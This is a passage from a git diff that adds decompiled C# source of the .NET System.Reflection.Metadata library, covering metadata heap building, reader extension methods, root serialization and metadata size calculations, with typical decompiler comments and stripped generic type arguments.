userStringHeapStartOffset; + _stringHeapStartOffset = stringHeapStartOffset; + _blobHeapStartOffset = blobHeapStartOffset; + _guidBuilder.WriteBytes(0, guidHeapStartOffset); + } + + public void SetCapacity(HeapIndex heap, int byteCount) + { + if (byteCount < 0) + { + Throw.ArgumentOutOfRange("byteCount"); + } + switch (heap) + { + case HeapIndex.Guid: + _guidBuilder.SetCapacity(byteCount); + break; + case HeapIndex.String: + _stringHeapCapacity = byteCount; + break; + case HeapIndex.UserString: + _userStringBuilder.SetCapacity(byteCount); + break; + default: + Throw.ArgumentOutOfRange("heap"); + break; + case HeapIndex.Blob: + break; + } + } + + internal static int SerializeHandle(ImmutableArray map, StringHandle handle) + { + return map[handle.GetWriterVirtualIndex()]; + } + + internal static int SerializeHandle(BlobHandle handle) + { + return handle.GetHeapOffset(); + } + + internal static int SerializeHandle(GuidHandle handle) + { + return handle.Index; + } + + internal static int SerializeHandle(UserStringHandle handle) + { + return handle.GetHeapOffset(); + } + + public BlobHandle GetOrAddBlob(BlobBuilder value) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + if (value == null) + { + Throw.ArgumentNull("value"); + } + return GetOrAddBlob(value.ToImmutableArray()); + } + + public BlobHandle GetOrAddBlob(byte[] value) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + if (value == null) + { + Throw.ArgumentNull("value"); + } + return GetOrAddBlob(ImmutableArray.Create(value)); + } + + public BlobHandle GetOrAddBlob(ImmutableArray value) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + if (value.IsDefault) + { + Throw.ArgumentNull("value"); + } + if (!_blobs.TryGetValue(value, out var value2)) + { + value2 = BlobHandle.FromOffset(_blobHeapStartOffset + _blobHeapSize); + _blobs.Add(value, value2); + _blobHeapSize += BlobWriterImpl.GetCompressedIntegerSize(value.Length) + value.Length; + } + return value2; + } + + public BlobHandle GetOrAddConstantBlob(object? value) + { + if (value is string value2) + { + return GetOrAddBlobUTF16(value2); + } + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + instance.WriteConstant(value); + BlobHandle orAddBlob = GetOrAddBlob((BlobBuilder)instance); + instance.Free(); + return orAddBlob; + } + + public BlobHandle GetOrAddBlobUTF16(string value) + { + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + instance.WriteUTF16(value); + BlobHandle orAddBlob = GetOrAddBlob((BlobBuilder)instance); + instance.Free(); + return orAddBlob; + } + + public BlobHandle GetOrAddBlobUTF8(string value, bool allowUnpairedSurrogates = true) + { + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + instance.WriteUTF8(value, allowUnpairedSurrogates); + BlobHandle orAddBlob = GetOrAddBlob((BlobBuilder)instance); + instance.Free(); + return orAddBlob; + } + + public BlobHandle GetOrAddDocumentName(string value) + { + if (value == null) + { + Throw.ArgumentNull("value"); + } + char c = ChooseSeparator(value); + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + instance.WriteByte((byte)c); + PooledBlobBuilder instance2 = PooledBlobBuilder.GetInstance(); + int num = 0; + while (true) + { + int num2 = value.IndexOf(c, num); + instance2.WriteUTF8(value, num, ((num2 >= 0) ? num2 : value.Length) - num, allowUnpairedSurrogates: true, prependSize: false); + instance.WriteCompressedInteger(GetOrAddBlob((BlobBuilder)instance2).GetHeapOffset()); + if (num2 == -1) + { + break; + } + if (num2 == value.Length - 1) + { + instance.WriteByte(0); + break; + } + instance2.Clear(); + num = num2 + 1; + } + instance2.Free(); + BlobHandle orAddBlob = GetOrAddBlob((BlobBuilder)instance); + instance.Free(); + return orAddBlob; + } + + private static char ChooseSeparator(string str) + { + int num = 0; + int num2 = 0; + for (int i = 0; i < str.Length; i++) + { + switch (str[i]) + { + case '/': + num++; + break; + case '\\': + num2++; + break; + } + } + if (num < num2) + { + return '\\'; + } + return '/'; + } + + public GuidHandle GetOrAddGuid(Guid guid) + { + if (guid == Guid.Empty) + { + return default(GuidHandle); + } + if (_guids.TryGetValue(guid, out var value)) + { + return value; + } + value = GetNewGuidHandle(); + _guids.Add(guid, value); + _guidBuilder.WriteGuid(guid); + return value; + } + + public ReservedBlob ReserveGuid() + { + GuidHandle newGuidHandle = GetNewGuidHandle(); + Blob content = _guidBuilder.ReserveBytes(16); + return new ReservedBlob(newGuidHandle, content); + } + + private GuidHandle GetNewGuidHandle() + { + return GuidHandle.FromIndex((_guidBuilder.Count >> 4) + 1); + } + + public StringHandle GetOrAddString(string value) + { + if (value == null) + { + Throw.ArgumentNull("value"); + } + StringHandle value2; + if (value.Length == 0) + { + value2 = default(StringHandle); + } + else if (!_strings.TryGetValue(value, out value2)) + { + value2 = StringHandle.FromWriterVirtualIndex(_strings.Count + 1); + _strings.Add(value, value2); + } + return value2; + } + + public ReservedBlob ReserveUserString(int length) + { + if (length < 0) + { + Throw.ArgumentOutOfRange("length"); + } + UserStringHandle newUserStringHandle = GetNewUserStringHandle(); + int userStringByteLength = BlobUtilities.GetUserStringByteLength(length); + Blob content = _userStringBuilder.ReserveBytes(BlobWriterImpl.GetCompressedIntegerSize(userStringByteLength) + userStringByteLength); + return new ReservedBlob(newUserStringHandle, content); + } + + public UserStringHandle GetOrAddUserString(string value) + { + if (value == null) + { + Throw.ArgumentNull("value"); + } + if (!_userStrings.TryGetValue(value, out var value2)) + { + value2 = GetNewUserStringHandle(); + _userStrings.Add(value, value2); + _userStringBuilder.WriteUserString(value); + } + return value2; + } + + private UserStringHandle GetNewUserStringHandle() + { + int num = _userStringHeapStartOffset + _userStringBuilder.Count; + if (num >= 16777216) + { + Throw.HeapSizeLimitExceeded(HeapIndex.UserString); + } + return UserStringHandle.FromOffset(num); + } + + private static ImmutableArray SerializeStringHeap(BlobBuilder heapBuilder, Dictionary strings, int stringHeapStartOffset) + { + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + List> list = new List>(strings); + list.Sort(SuffixSort.Instance); + int num = list.Count + 1; + Builder val = ImmutableArray.CreateBuilder(num); + val.Count = num; + val[0] = 0; + heapBuilder.WriteByte(0); + string text = string.Empty; + foreach (KeyValuePair item in list) + { + int num2 = stringHeapStartOffset + heapBuilder.Count; + if (text.EndsWith(item.Key, StringComparison.Ordinal) && !BlobUtilities.IsLowSurrogateChar(item.Key[0])) + { + val[item.Value.GetWriterVirtualIndex()] = num2 - (BlobUtilities.GetUTF8ByteCount(item.Key) + 1); + } + else + { + val[item.Value.GetWriterVirtualIndex()] = num2; + heapBuilder.WriteUTF8(item.Key, allowUnpairedSurrogates: false); + heapBuilder.WriteByte(0); + } + text = item.Key; + } + return val.MoveToImmutable(); + } + + internal void WriteHeapsTo(BlobBuilder builder, BlobBuilder stringHeap) + { + WriteAligned(stringHeap, builder); + WriteAligned(_userStringBuilder, builder); + WriteAligned(_guidBuilder, builder); + WriteAlignedBlobHeap(builder); + } + + private void WriteAlignedBlobHeap(BlobBuilder builder) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + int num = BitArithmetic.Align(_blobHeapSize, 4) - _blobHeapSize; + BlobWriter blobWriter = new BlobWriter(builder.ReserveBytes(_blobHeapSize + num)); + int blobHeapStartOffset = _blobHeapStartOffset; + foreach (KeyValuePair, BlobHandle> blob in _blobs) + { + int heapOffset = blob.Value.GetHeapOffset(); + ImmutableArray key = blob.Key; + blobWriter.Offset = ((heapOffset != 0) ? (heapOffset - blobHeapStartOffset) : 0); + blobWriter.WriteCompressedInteger(key.Length); + blobWriter.WriteBytes(key); + } + blobWriter.Offset = _blobHeapSize; + blobWriter.WriteBytes(0, num); + } + + private static void WriteAligned(BlobBuilder source, BlobBuilder target) + { + int count = source.Count; + target.LinkSuffix(source); + target.WriteBytes(0, BitArithmetic.Align(count, 4) - count); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataReaderExtensions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataReaderExtensions.cs new file mode 100644 index 0000000..3c9cecf --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataReaderExtensions.cs @@ -0,0 +1,314 @@ +using System.Collections.Generic; +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +public static class MetadataReaderExtensions +{ + public static int GetTableRowCount(this MetadataReader reader, TableIndex tableIndex) + { + if (reader == null) + { + Throw.ArgumentNull("reader"); + } + if ((int)tableIndex >= MetadataTokens.TableCount) + { + Throw.TableIndexOutOfRange(); + } + return reader.TableRowCounts[(uint)tableIndex]; + } + + public static int GetTableRowSize(this MetadataReader reader, TableIndex tableIndex) + { + if (reader == null) + { + Throw.ArgumentNull("reader"); + } + return tableIndex switch + { + TableIndex.Module => reader.ModuleTable.RowSize, + TableIndex.TypeRef => reader.TypeRefTable.RowSize, + TableIndex.TypeDef => reader.TypeDefTable.RowSize, + TableIndex.FieldPtr => reader.FieldPtrTable.RowSize, + TableIndex.Field => reader.FieldTable.RowSize, + TableIndex.MethodPtr => reader.MethodPtrTable.RowSize, + TableIndex.MethodDef => reader.MethodDefTable.RowSize, + TableIndex.ParamPtr => reader.ParamPtrTable.RowSize, + TableIndex.Param => reader.ParamTable.RowSize, + TableIndex.InterfaceImpl => reader.InterfaceImplTable.RowSize, + TableIndex.MemberRef => reader.MemberRefTable.RowSize, + TableIndex.Constant => reader.ConstantTable.RowSize, + TableIndex.CustomAttribute => reader.CustomAttributeTable.RowSize, + TableIndex.FieldMarshal => reader.FieldMarshalTable.RowSize, + TableIndex.DeclSecurity => reader.DeclSecurityTable.RowSize, + TableIndex.ClassLayout => reader.ClassLayoutTable.RowSize, + TableIndex.FieldLayout => reader.FieldLayoutTable.RowSize, + TableIndex.StandAloneSig => reader.StandAloneSigTable.RowSize, + TableIndex.EventMap => reader.EventMapTable.RowSize, + TableIndex.EventPtr => reader.EventPtrTable.RowSize, + TableIndex.Event => reader.EventTable.RowSize, + TableIndex.PropertyMap => reader.PropertyMapTable.RowSize, + TableIndex.PropertyPtr => reader.PropertyPtrTable.RowSize, + TableIndex.Property => reader.PropertyTable.RowSize, + TableIndex.MethodSemantics => reader.MethodSemanticsTable.RowSize, + TableIndex.MethodImpl => reader.MethodImplTable.RowSize, + TableIndex.ModuleRef => reader.ModuleRefTable.RowSize, + TableIndex.TypeSpec => reader.TypeSpecTable.RowSize, + TableIndex.ImplMap => reader.ImplMapTable.RowSize, + TableIndex.FieldRva => reader.FieldRvaTable.RowSize, + TableIndex.EncLog => reader.EncLogTable.RowSize, + TableIndex.EncMap => reader.EncMapTable.RowSize, + TableIndex.Assembly => reader.AssemblyTable.RowSize, + TableIndex.AssemblyProcessor => reader.AssemblyProcessorTable.RowSize, + TableIndex.AssemblyOS => reader.AssemblyOSTable.RowSize, + TableIndex.AssemblyRef => reader.AssemblyRefTable.RowSize, + TableIndex.AssemblyRefProcessor => reader.AssemblyRefProcessorTable.RowSize, + TableIndex.AssemblyRefOS => reader.AssemblyRefOSTable.RowSize, + TableIndex.File => reader.FileTable.RowSize, + TableIndex.ExportedType => reader.ExportedTypeTable.RowSize, + TableIndex.ManifestResource => reader.ManifestResourceTable.RowSize, + TableIndex.NestedClass => reader.NestedClassTable.RowSize, + TableIndex.GenericParam => reader.GenericParamTable.RowSize, + TableIndex.MethodSpec => reader.MethodSpecTable.RowSize, + TableIndex.GenericParamConstraint => reader.GenericParamConstraintTable.RowSize, + TableIndex.Document => reader.DocumentTable.RowSize, + TableIndex.MethodDebugInformation => reader.MethodDebugInformationTable.RowSize, + TableIndex.LocalScope => reader.LocalScopeTable.RowSize, + TableIndex.LocalVariable => reader.LocalVariableTable.RowSize, + TableIndex.LocalConstant => reader.LocalConstantTable.RowSize, + TableIndex.ImportScope => reader.ImportScopeTable.RowSize, + TableIndex.StateMachineMethod => reader.StateMachineMethodTable.RowSize, + TableIndex.CustomDebugInformation => reader.CustomDebugInformationTable.RowSize, + _ => throw new ArgumentOutOfRangeException("tableIndex"), + }; + } + + public unsafe static int GetTableMetadataOffset(this MetadataReader reader, TableIndex tableIndex) + { + if (reader == null) + { + Throw.ArgumentNull("reader"); + } + return (int)(reader.GetTableMetadataBlock(tableIndex).Pointer - reader.Block.Pointer); + } + + private static MemoryBlock GetTableMetadataBlock(this MetadataReader reader, TableIndex tableIndex) + { + return tableIndex switch + { + TableIndex.Module => reader.ModuleTable.Block, + TableIndex.TypeRef => reader.TypeRefTable.Block, + TableIndex.TypeDef => reader.TypeDefTable.Block, + TableIndex.FieldPtr => reader.FieldPtrTable.Block, + TableIndex.Field => reader.FieldTable.Block, + TableIndex.MethodPtr => reader.MethodPtrTable.Block, + TableIndex.MethodDef => reader.MethodDefTable.Block, + TableIndex.ParamPtr => reader.ParamPtrTable.Block, + TableIndex.Param => reader.ParamTable.Block, + TableIndex.InterfaceImpl => reader.InterfaceImplTable.Block, + TableIndex.MemberRef => reader.MemberRefTable.Block, + TableIndex.Constant => reader.ConstantTable.Block, + TableIndex.CustomAttribute => reader.CustomAttributeTable.Block, + TableIndex.FieldMarshal => reader.FieldMarshalTable.Block, + TableIndex.DeclSecurity => reader.DeclSecurityTable.Block, + TableIndex.ClassLayout => reader.ClassLayoutTable.Block, + TableIndex.FieldLayout => reader.FieldLayoutTable.Block, + TableIndex.StandAloneSig => reader.StandAloneSigTable.Block, + TableIndex.EventMap => reader.EventMapTable.Block, + TableIndex.EventPtr => reader.EventPtrTable.Block, + TableIndex.Event => reader.EventTable.Block, + TableIndex.PropertyMap => reader.PropertyMapTable.Block, + TableIndex.PropertyPtr => reader.PropertyPtrTable.Block, + TableIndex.Property => reader.PropertyTable.Block, + TableIndex.MethodSemantics => reader.MethodSemanticsTable.Block, + TableIndex.MethodImpl => reader.MethodImplTable.Block, + TableIndex.ModuleRef => reader.ModuleRefTable.Block, + TableIndex.TypeSpec => reader.TypeSpecTable.Block, + TableIndex.ImplMap => reader.ImplMapTable.Block, + TableIndex.FieldRva => reader.FieldRvaTable.Block, + TableIndex.EncLog => reader.EncLogTable.Block, + TableIndex.EncMap => reader.EncMapTable.Block, + TableIndex.Assembly => reader.AssemblyTable.Block, + TableIndex.AssemblyProcessor => reader.AssemblyProcessorTable.Block, + TableIndex.AssemblyOS => reader.AssemblyOSTable.Block, + TableIndex.AssemblyRef => reader.AssemblyRefTable.Block, + TableIndex.AssemblyRefProcessor => reader.AssemblyRefProcessorTable.Block, + TableIndex.AssemblyRefOS => reader.AssemblyRefOSTable.Block, + TableIndex.File => reader.FileTable.Block, + TableIndex.ExportedType => reader.ExportedTypeTable.Block, + TableIndex.ManifestResource => reader.ManifestResourceTable.Block, + TableIndex.NestedClass => reader.NestedClassTable.Block, + TableIndex.GenericParam => reader.GenericParamTable.Block, + TableIndex.MethodSpec => reader.MethodSpecTable.Block, + TableIndex.GenericParamConstraint => reader.GenericParamConstraintTable.Block, + TableIndex.Document => reader.DocumentTable.Block, + TableIndex.MethodDebugInformation => reader.MethodDebugInformationTable.Block, + TableIndex.LocalScope => reader.LocalScopeTable.Block, + TableIndex.LocalVariable => reader.LocalVariableTable.Block, + TableIndex.LocalConstant => reader.LocalConstantTable.Block, + TableIndex.ImportScope => reader.ImportScopeTable.Block, + TableIndex.StateMachineMethod => reader.StateMachineMethodTable.Block, + TableIndex.CustomDebugInformation => reader.CustomDebugInformationTable.Block, + _ => throw new ArgumentOutOfRangeException("tableIndex"), + }; + } + + public static int GetHeapSize(this MetadataReader reader, HeapIndex heapIndex) + { + if (reader == null) + { + Throw.ArgumentNull("reader"); + } + return reader.GetMetadataBlock(heapIndex).Length; + } + + public unsafe static int GetHeapMetadataOffset(this MetadataReader reader, HeapIndex heapIndex) + { + if (reader == null) + { + Throw.ArgumentNull("reader"); + } + return (int)(reader.GetMetadataBlock(heapIndex).Pointer - reader.Block.Pointer); + } + + private static MemoryBlock GetMetadataBlock(this MetadataReader reader, HeapIndex heapIndex) + { + return heapIndex switch + { + HeapIndex.UserString => reader.UserStringHeap.Block, + HeapIndex.String => reader.StringHeap.Block, + HeapIndex.Blob => reader.BlobHeap.Block, + HeapIndex.Guid => reader.GuidHeap.Block, + _ => throw new ArgumentOutOfRangeException("heapIndex"), + }; + } + + public static UserStringHandle GetNextHandle(this MetadataReader reader, UserStringHandle handle) + { + if (reader == null) + { + Throw.ArgumentNull("reader"); + } + return reader.UserStringHeap.GetNextHandle(handle); + } + + public static BlobHandle GetNextHandle(this MetadataReader reader, BlobHandle handle) + { + if (reader == null) + { + Throw.ArgumentNull("reader"); + } + return reader.BlobHeap.GetNextHandle(handle); + } + + public static StringHandle GetNextHandle(this MetadataReader reader, StringHandle handle) + { + if (reader == null) + { + Throw.ArgumentNull("reader"); + } + return reader.StringHeap.GetNextHandle(handle); + } + + public static IEnumerable GetEditAndContinueLogEntries(this MetadataReader reader) + { + if (reader == null) + { + Throw.ArgumentNull("reader"); + } + return Core(reader); + static IEnumerable Core(MetadataReader metadataReader) + { + for (int rid = 1; rid <= metadataReader.EncLogTable.NumberOfRows; rid++) + { + yield return new EditAndContinueLogEntry(new EntityHandle(metadataReader.EncLogTable.GetToken(rid)), metadataReader.EncLogTable.GetFuncCode(rid)); + } + } + } + + public static IEnumerable GetEditAndContinueMapEntries(this MetadataReader reader) + { + if (reader == null) + { + Throw.ArgumentNull("reader"); + } + return Core(reader); + static IEnumerable Core(MetadataReader metadataReader) + { + for (int rid = 1; rid <= metadataReader.EncMapTable.NumberOfRows; rid++) + { + yield return new EntityHandle(metadataReader.EncMapTable.GetToken(rid)); + } + } + } + + public static IEnumerable GetTypesWithProperties(this MetadataReader reader) + { + if (reader == null) + { + Throw.ArgumentNull("reader"); + } + return Core(reader); + static IEnumerable Core(MetadataReader metadataReader) + { + for (int rid = 1; rid <= metadataReader.PropertyMapTable.NumberOfRows; rid++) + { + yield return metadataReader.PropertyMapTable.GetParentType(rid); + } + } + } + + public static IEnumerable GetTypesWithEvents(this MetadataReader reader) + { + if (reader == null) + { + Throw.ArgumentNull("reader"); + } + return Core(reader); + static IEnumerable Core(MetadataReader metadataReader) + { + for (int rid = 1; rid <= metadataReader.EventMapTable.NumberOfRows; rid++) + { + yield return metadataReader.EventMapTable.GetParentType(rid); + } + } + } + + public static SignatureTypeKind ResolveSignatureTypeKind(this MetadataReader reader, EntityHandle typeHandle, byte rawTypeKind) + { + if (reader == null) + { + Throw.ArgumentNull("reader"); + } + SignatureTypeKind signatureTypeKind = (SignatureTypeKind)rawTypeKind; + switch (signatureTypeKind) + { + case SignatureTypeKind.Unknown: + return SignatureTypeKind.Unknown; + default: + throw new ArgumentOutOfRangeException("rawTypeKind"); + case SignatureTypeKind.ValueType: + case SignatureTypeKind.Class: + switch (typeHandle.Kind) + { + case HandleKind.TypeDefinition: + return signatureTypeKind; + case HandleKind.TypeReference: + { + TypeRefSignatureTreatment signatureTreatment = reader.GetTypeReference((TypeReferenceHandle)typeHandle).SignatureTreatment; + return signatureTreatment switch + { + TypeRefSignatureTreatment.ProjectedToClass => SignatureTypeKind.Class, + TypeRefSignatureTreatment.ProjectedToValueType => SignatureTypeKind.ValueType, + TypeRefSignatureTreatment.None => signatureTypeKind, + _ => throw ExceptionUtilities.UnexpectedValue(signatureTreatment), + }; + } + case HandleKind.TypeSpecification: + return SignatureTypeKind.Unknown; + default: + throw new ArgumentOutOfRangeException("typeHandle", System.SR.Format(System.SR.UnexpectedHandleKind, typeHandle.Kind)); + } + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataRootBuilder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataRootBuilder.cs new file mode 100644 index 0000000..caeec0a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataRootBuilder.cs @@ -0,0 +1,62 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata.Ecma335; + +public sealed class MetadataRootBuilder +{ + private const string DefaultMetadataVersionString = "v4.0.30319"; + + internal static readonly ImmutableArray EmptyRowCounts = ImmutableArray.Create(new int[MetadataTokens.TableCount]); + + private readonly MetadataBuilder _tablesAndHeaps; + + private readonly SerializedMetadata _serializedMetadata; + + public string MetadataVersion { get; } + + public bool SuppressValidation { get; } + + public MetadataSizes Sizes => _serializedMetadata.Sizes; + + public MetadataRootBuilder(MetadataBuilder tablesAndHeaps, string? metadataVersion = null, bool suppressValidation = false) + { + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + if (tablesAndHeaps == null) + { + Throw.ArgumentNull("tablesAndHeaps"); + } + int num = ((metadataVersion != null) ? BlobUtilities.GetUTF8ByteCount(metadataVersion) : "v4.0.30319".Length); + if (num > 254) + { + Throw.InvalidArgument(System.SR.MetadataVersionTooLong, "metadataVersion"); + } + _tablesAndHeaps = tablesAndHeaps; + MetadataVersion = metadataVersion ?? "v4.0.30319"; + SuppressValidation = suppressValidation; + _serializedMetadata = tablesAndHeaps.GetSerializedMetadata(EmptyRowCounts, num, isStandaloneDebugMetadata: false); + } + + public void Serialize(BlobBuilder builder, int methodBodyStreamRva, int mappedFieldDataStreamRva) + { + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + if (builder == null) + { + Throw.ArgumentNull("builder"); + } + if (methodBodyStreamRva < 0) + { + Throw.ArgumentOutOfRange("methodBodyStreamRva"); + } + if (mappedFieldDataStreamRva < 0) + { + Throw.ArgumentOutOfRange("mappedFieldDataStreamRva"); + } + if (!SuppressValidation) + { + _tablesAndHeaps.ValidateOrder(); + } + MetadataBuilder.SerializeMetadataHeader(builder, MetadataVersion, _serializedMetadata.Sizes); + _tablesAndHeaps.SerializeMetadataTables(builder, _serializedMetadata.Sizes, _serializedMetadata.StringMap, methodBodyStreamRva, mappedFieldDataStreamRva); + _tablesAndHeaps.WriteHeapsTo(builder, _serializedMetadata.StringHeap); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataSizes.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataSizes.cs new file mode 100644 index 0000000..5cce17e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataSizes.cs @@ -0,0 +1,319 @@ +using System.Collections.Immutable; +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +public sealed class MetadataSizes +{ + private const int StreamAlignment = 4; + + internal const int MaxMetadataVersionByteCount = 254; + + internal readonly int MetadataVersionPaddedLength; + + internal const ulong SortedDebugTables = 55169095435288576uL; + + internal readonly bool IsEncDelta; + + internal readonly bool IsCompressed; + + internal readonly bool BlobReferenceIsSmall; + + internal readonly bool StringReferenceIsSmall; + + internal readonly bool GuidReferenceIsSmall; + + internal readonly bool CustomAttributeTypeCodedIndexIsSmall; + + internal readonly bool DeclSecurityCodedIndexIsSmall; + + internal readonly bool EventDefReferenceIsSmall; + + internal readonly bool FieldDefReferenceIsSmall; + + internal readonly bool GenericParamReferenceIsSmall; + + internal readonly bool HasConstantCodedIndexIsSmall; + + internal readonly bool HasCustomAttributeCodedIndexIsSmall; + + internal readonly bool HasFieldMarshalCodedIndexIsSmall; + + internal readonly bool HasSemanticsCodedIndexIsSmall; + + internal readonly bool ImplementationCodedIndexIsSmall; + + internal readonly bool MemberForwardedCodedIndexIsSmall; + + internal readonly bool MemberRefParentCodedIndexIsSmall; + + internal readonly bool MethodDefReferenceIsSmall; + + internal readonly bool MethodDefOrRefCodedIndexIsSmall; + + internal readonly bool ModuleRefReferenceIsSmall; + + internal readonly bool ParameterReferenceIsSmall; + + internal readonly bool PropertyDefReferenceIsSmall; + + internal readonly bool ResolutionScopeCodedIndexIsSmall; + + internal readonly bool TypeDefReferenceIsSmall; + + internal readonly bool TypeDefOrRefCodedIndexIsSmall; + + internal readonly bool TypeOrMethodDefCodedIndexIsSmall; + + internal readonly bool DocumentReferenceIsSmall; + + internal readonly bool LocalVariableReferenceIsSmall; + + internal readonly bool LocalConstantReferenceIsSmall; + + internal readonly bool ImportScopeReferenceIsSmall; + + internal readonly bool HasCustomDebugInformationCodedIndexIsSmall; + + internal readonly ulong PresentTablesMask; + + internal readonly ulong ExternalTablesMask; + + internal readonly int MetadataStreamStorageSize; + + internal readonly int MetadataTableStreamSize; + + internal readonly int StandalonePdbStreamSize; + + internal const int PdbIdSize = 20; + + public ImmutableArray HeapSizes { get; } + + public ImmutableArray RowCounts { get; } + + public ImmutableArray ExternalRowCounts { get; } + + internal bool IsStandaloneDebugMetadata => StandalonePdbStreamSize > 0; + + internal int MetadataHeaderSize => 16 + MetadataVersionPaddedLength + 2 + 2 + (IsStandaloneDebugMetadata ? 16 : 0) + 76 + (IsEncDelta ? 16 : 0); + + internal int MetadataSize => MetadataHeaderSize + MetadataStreamStorageSize; + + internal MetadataSizes(ImmutableArray rowCounts, ImmutableArray externalRowCounts, ImmutableArray heapSizes, int metadataVersionByteCount, bool isStandaloneDebugMetadata) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + RowCounts = rowCounts; + ExternalRowCounts = externalRowCounts; + HeapSizes = heapSizes; + MetadataVersionPaddedLength = BitArithmetic.Align(metadataVersionByteCount + 1, 4); + PresentTablesMask = ComputeNonEmptyTableMask(rowCounts); + ExternalTablesMask = ComputeNonEmptyTableMask(externalRowCounts); + bool flag = IsPresent(TableIndex.EncLog) || IsPresent(TableIndex.EncMap); + bool flag2 = !flag; + IsEncDelta = flag; + IsCompressed = flag2; + BlobReferenceIsSmall = flag2 && heapSizes[2] <= 65535; + StringReferenceIsSmall = flag2 && heapSizes[1] <= 65535; + GuidReferenceIsSmall = flag2 && heapSizes[3] <= 65535; + CustomAttributeTypeCodedIndexIsSmall = IsReferenceSmall(3, TableIndex.MethodDef, TableIndex.MemberRef); + DeclSecurityCodedIndexIsSmall = IsReferenceSmall(2, TableIndex.MethodDef, TableIndex.TypeDef); + EventDefReferenceIsSmall = IsReferenceSmall(0, TableIndex.Event); + FieldDefReferenceIsSmall = IsReferenceSmall(0, TableIndex.Field); + GenericParamReferenceIsSmall = IsReferenceSmall(0, TableIndex.GenericParam); + HasConstantCodedIndexIsSmall = IsReferenceSmall(2, TableIndex.Field, TableIndex.Param, TableIndex.Property); + HasCustomAttributeCodedIndexIsSmall = IsReferenceSmall(5, TableIndex.MethodDef, TableIndex.Field, TableIndex.TypeRef, TableIndex.TypeDef, TableIndex.Param, TableIndex.InterfaceImpl, TableIndex.MemberRef, TableIndex.Module, TableIndex.DeclSecurity, TableIndex.Property, TableIndex.Event, TableIndex.StandAloneSig, TableIndex.ModuleRef, TableIndex.TypeSpec, TableIndex.Assembly, TableIndex.AssemblyRef, TableIndex.File, TableIndex.ExportedType, TableIndex.ManifestResource, TableIndex.GenericParam, TableIndex.GenericParamConstraint, TableIndex.MethodSpec); + HasFieldMarshalCodedIndexIsSmall = IsReferenceSmall(1, TableIndex.Field, TableIndex.Param); + HasSemanticsCodedIndexIsSmall = IsReferenceSmall(1, TableIndex.Event, TableIndex.Property); + ImplementationCodedIndexIsSmall = IsReferenceSmall(2, TableIndex.File, TableIndex.AssemblyRef, TableIndex.ExportedType); + MemberForwardedCodedIndexIsSmall = IsReferenceSmall(1, TableIndex.Field, TableIndex.MethodDef); + MemberRefParentCodedIndexIsSmall = IsReferenceSmall(3, TableIndex.TypeDef, TableIndex.TypeRef, TableIndex.ModuleRef, TableIndex.MethodDef, TableIndex.TypeSpec); + MethodDefReferenceIsSmall = IsReferenceSmall(0, TableIndex.MethodDef); + MethodDefOrRefCodedIndexIsSmall = IsReferenceSmall(1, TableIndex.MethodDef, TableIndex.MemberRef); + ModuleRefReferenceIsSmall = IsReferenceSmall(0, TableIndex.ModuleRef); + ParameterReferenceIsSmall = IsReferenceSmall(0, TableIndex.Param); + PropertyDefReferenceIsSmall = IsReferenceSmall(0, TableIndex.Property); + ResolutionScopeCodedIndexIsSmall = IsReferenceSmall(2, TableIndex.Module, TableIndex.ModuleRef, TableIndex.AssemblyRef, TableIndex.TypeRef); + TypeDefReferenceIsSmall = IsReferenceSmall(0, TableIndex.TypeDef); + TypeDefOrRefCodedIndexIsSmall = IsReferenceSmall(2, TableIndex.TypeDef, TableIndex.TypeRef, TableIndex.TypeSpec); + TypeOrMethodDefCodedIndexIsSmall = IsReferenceSmall(1, TableIndex.TypeDef, TableIndex.MethodDef); + DocumentReferenceIsSmall = IsReferenceSmall(0, TableIndex.Document); + LocalVariableReferenceIsSmall = IsReferenceSmall(0, TableIndex.LocalVariable); + LocalConstantReferenceIsSmall = IsReferenceSmall(0, TableIndex.LocalConstant); + ImportScopeReferenceIsSmall = IsReferenceSmall(0, TableIndex.ImportScope); + HasCustomDebugInformationCodedIndexIsSmall = IsReferenceSmall(5, TableIndex.MethodDef, TableIndex.Field, TableIndex.TypeRef, TableIndex.TypeDef, TableIndex.Param, TableIndex.InterfaceImpl, TableIndex.MemberRef, TableIndex.Module, TableIndex.DeclSecurity, TableIndex.Property, TableIndex.Event, TableIndex.StandAloneSig, TableIndex.ModuleRef, TableIndex.TypeSpec, TableIndex.Assembly, TableIndex.AssemblyRef, TableIndex.File, 